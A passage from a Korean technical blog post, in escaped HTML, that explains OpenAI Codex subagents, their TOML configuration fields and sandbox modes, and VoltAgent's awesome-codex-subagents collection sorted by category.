&lt;li&gt;버그 조사 파이프라인&lt;/li&gt;
&lt;li&gt;spawn_agents_on_csv 배치 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;VoltAgent 에이전트 생태계
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;awesome-agent-skills (멀티플랫폼)&lt;/li&gt;
&lt;li&gt;awesome-claude-code-subagents&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Code 서브에이전트와의 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주의사항 &amp;amp; 트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 언제 쓰고 언제 쓰지 않는가&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-weight: bold; color: #0066cc;&quot; data-ke-size=&quot;size8&quot;&gt;이 글 3줄 요약&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Codex 서브에이전트 = &lt;b&gt;독립 컨텍스트로 병렬 실행&lt;/b&gt;되는 전문화 에이전트. 2026-03-16 GA.&lt;/li&gt;
&lt;li&gt;awesome-codex-subagents = &lt;b&gt;136개 즉시 쓸 수 있는 TOML 에이전트 정의&lt;/b&gt; 컬렉션. 9일 만에 2,778 Stars.&lt;/li&gt;
&lt;li&gt;설치는 &lt;code&gt;.toml&lt;/code&gt; 파일을 &lt;code&gt;~/.codex/agents/&lt;/code&gt;에 복사하는 것이 전부다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- Section 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;1. 왜 서브에이전트 컬렉션이 필요한가&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;단일 에이전트의 컨텍스트 오염 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex에게 &quot;PR을 리뷰하고, 보안 취약점을 찾고, 문서도 업데이트해&quot;라고 시키면 어떻게 될까. 하나의 에이전트가 세 가지 역할을 동시에 수행하면서 컨텍스트 창이 섞인다. 보안 검토 중에 문서 초안이 끼어들고, 코드 리뷰 맥락이 인프라 분석과 뒤엉킨다. 공식 문서는 이를 &lt;b&gt;&quot;컨텍스트 오염(context pollution)&quot;&lt;/b&gt;이라고 정의한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트는 이 문제를 구조적으로 해결한다. 각 에이전트가 독립된 컨텍스트 창에서 자신의 역할에만 집중하기 때문에 출력의 집중도와 일관성이 높아진다. 탐색, 테스트, 분석처럼 읽기 위주의 병렬 처리에서 특히 효과적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;Codex 서브에이전트 GA 개요&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월 16일, OpenAI는 Codex CLI와 앱에서 서브에이전트 기능을 정식 공개(GA)했다. 커뮤니티 반응은 빨랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://simonwillison.net/2026/Mar/16/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison은 같은 날 블로그&lt;/a&gt;에 서브에이전트 패턴이 &quot;OpenAI, Claude, Gemini, Mistral, VS Code 등 주요 플랫폼 전반에서 코딩 에이전트의 표준 아키텍처로 자리잡았다&quot;고 분석했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rick Hightower는 Medium 기고에서 &lt;a href=&quot;https://medium.com/@richardhightower/codex-gets-subagents-the-parallel-ai-coding-pattern-is-now-industry-standard-how-does-it-stack-35bd217ef11f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;explorer/worker/orchestrator 패턴이 이제 de facto 표준&lt;/a&gt;이라고 평했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;참고&lt;/b&gt;: 서브에이전트 기능은 현재 Codex 앱과 CLI에서 지원된다. IDE 확장 프로그램 지원은 공식 문서 기준 아직 미정이다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;2. Codex 서브에이전트 기본 개념&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;3가지 빌트인 에이전트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 직후부터 세 가지 에이전트를 바로 쓸 수 있다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;권한&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;언제 쓰는가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;범용 폴백&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;일반&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;명시적 에이전트를 지정하지 않은 일반 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;worker&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;구현/수정 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;읽기-쓰기&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;코드 작성, 파일 수정, 기능 구현&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;explorer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;코드베이스 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;읽기 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;분석, 조사, 패턴 파악 (수정 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;i&gt;한 줄 요약: &lt;code&gt;explorer&lt;/code&gt;가 지도를 그리고, &lt;code&gt;worker&lt;/code&gt;가 공사를 하고, &lt;code&gt;default&lt;/code&gt;가 나머지를 처리한다.&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;TOML 파일 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커스텀 에이전트는 &lt;code&gt;.toml&lt;/code&gt; 파일로 정의한다. 파일 위치는 두 가지다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;~/.codex/agents/&lt;/code&gt; &amp;mdash; 전역. 모든 프로젝트에서 사용 가능&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.codex/agents/&lt;/code&gt; &amp;mdash; 프로젝트별. 동일 이름이면 이쪽이 우선&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 실제 awesome-codex-subagents 컬렉션에서 사용하는 TOML 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-codex-subagents GitHub&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# ~/.codex/agents/backend-developer.toml

name = &quot;backend-developer&quot;
description = &quot;Node.js/Python/Go 백엔드 개발, REST/gRPC API 설계, DB 스키마, 성능 최적화&quot;

model = &quot;gpt-5.4&quot;
model_reasoning_effort = &quot;high&quot;
sandbox_mode = &quot;workspace-write&quot;

[instructions]
text = &quot;&quot;&quot;
You are a senior backend developer specializing in server-side applications
with deep expertise in Node.js 18+, Python 3.11+, and Go 1.21+.

Focus on building scalable, secure, and performant backend systems.
Always validate inputs, handle errors gracefully, and write tests.
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;필수/선택 필드 전체 목록&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서 기준 TOML 필드 전체 목록이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;필드&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;필수&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;예시 값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;에이전트 식별자. 호출 시 이 이름 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;security-auditor&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;언제 이 에이전트를 써야 하는지 설명&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;보안 감사, CVE 검토&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;developer_instructions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;핵심 동작 지침 (instructions.text 대체 가능)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;멀티라인 문자열&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;model&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미지정 시 상속&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;사용할 모델. 미지정 시 부모 세션 모델 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;gpt-5.4&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;model_reasoning_effort&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;추론 강도: high / medium / low&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;medium&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;sandbox_mode&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;실행 권한: &lt;code&gt;&quot;read-only&quot;&lt;/code&gt; 또는 &lt;code&gt;&quot;workspace-write&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;read-only&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;nickname_candidates&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;표시용 닉네임 배열. 다중 인스턴스 구분에 유용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;[&quot;Alice&quot;, &quot;Bob&quot;]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;mcp_servers&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;연결할 MCP 서버 목록&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;배열&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;전역 설정 (config.toml의 [agents] 섹션)&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;code&gt;agents.max_threads = 6&lt;/code&gt; &amp;mdash; 동시 실행 스레드 상한 (기본값: 6)&lt;br /&gt;&amp;bull; &lt;code&gt;agents.max_depth = 1&lt;/code&gt; &amp;mdash; 서브에이전트 중첩 깊이 (기본값: 1). 높이면 반복 위임으로 토큰&amp;middot;지연 증가&lt;br /&gt;&amp;bull; &lt;code&gt;agents.job_max_runtime_seconds&lt;/code&gt; &amp;mdash; CSV 배치 작업 타임아웃&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;3. awesome-codex-subagents 프로젝트&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;VoltAgent: 에이전트 생태계 빌더&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent&lt;/a&gt;는 AI 에이전트 도구 생태계 구축에 집중하는 오픈소스 그룹이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;awesome-codex-subagents&lt;/code&gt; 외에도 &lt;code&gt;awesome-claude-code-subagents&lt;/code&gt;, &lt;code&gt;awesome-agent-skills&lt;/code&gt;(12.9k Stars, 멀티플랫폼) 등을 운영한다. 세 저장소 모두 MIT 라이선스로 공개되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;awesome-codex-subagents&lt;/code&gt;는 2026-03-17에 생성된 저장소로, &quot;공식 문서에 맞게 작성된, 즉시 사용 가능한 136개 에이전트&quot;를 표방한다. 이 글에서는 별도 캡처를 남기지 않은 시계열 Stars/Forks 수치보다, 현재 확인 가능한 구조와 실제파일&amp;nbsp;구성을&amp;nbsp;중심으로&amp;nbsp;다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;10개 카테고리 136+ 에이전트 정리&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;카테고리 구조와 각 카테고리의 주요 에이전트를 정리했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;(출처:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot;&gt;VoltAgent/awesome-codex-subagents README&lt;/a&gt;)&lt;/p&gt;
&lt;!-- Category 1 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;핵심 개발 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Core Development&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;12개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;백엔드&amp;middot;프론트엔드&amp;middot;풀스택&amp;middot;API 설계 등 &lt;b&gt;언어에 종속되지 않는 범용 개발 역할&lt;/b&gt;을 담당한다. 특정 언어 전문가가 필요하면 카테고리 2를 쓴다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;backend-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;frontend-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;fullstack-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;api-designer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;websocket-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;graphql-architect&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 2 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;언어 전문가 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Language Specialists&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #d4edda; color: #155724; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;27개 &amp;mdash; 가장 많음&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;특정 언어&amp;middot;프레임워크에 최적화된 전문가&lt;/b&gt;. Python, TypeScript, Rust, Go, Java 등 언어별 관용구&amp;middot;패턴&amp;middot;생태계까지 이해하고 작업한다. 136개 중 가장 많은 27개가 여기에 있다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;python-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;typescript-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;nextjs-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;spring-boot-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;rust-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;golang-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;react-specialist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;java-architect&lt;/span&gt; &lt;span style=&quot;color: #888; font-size: 12px; padding: 3px 6px; align-self: center;&quot;&gt;외 19개&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 3 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;3&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;인프라 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Infrastructure&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;16개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;DevOps&amp;middot;클라우드&amp;middot;IaC&amp;middot;컨테이너&lt;/b&gt; 영역. CI/CD 파이프라인, Kubernetes 클러스터, Terraform 모듈, 인시던트 대응까지 다룬다. 인프라 코드 리뷰에 바로 투입 가능하다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;devops-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;kubernetes-specialist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;terraform-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: 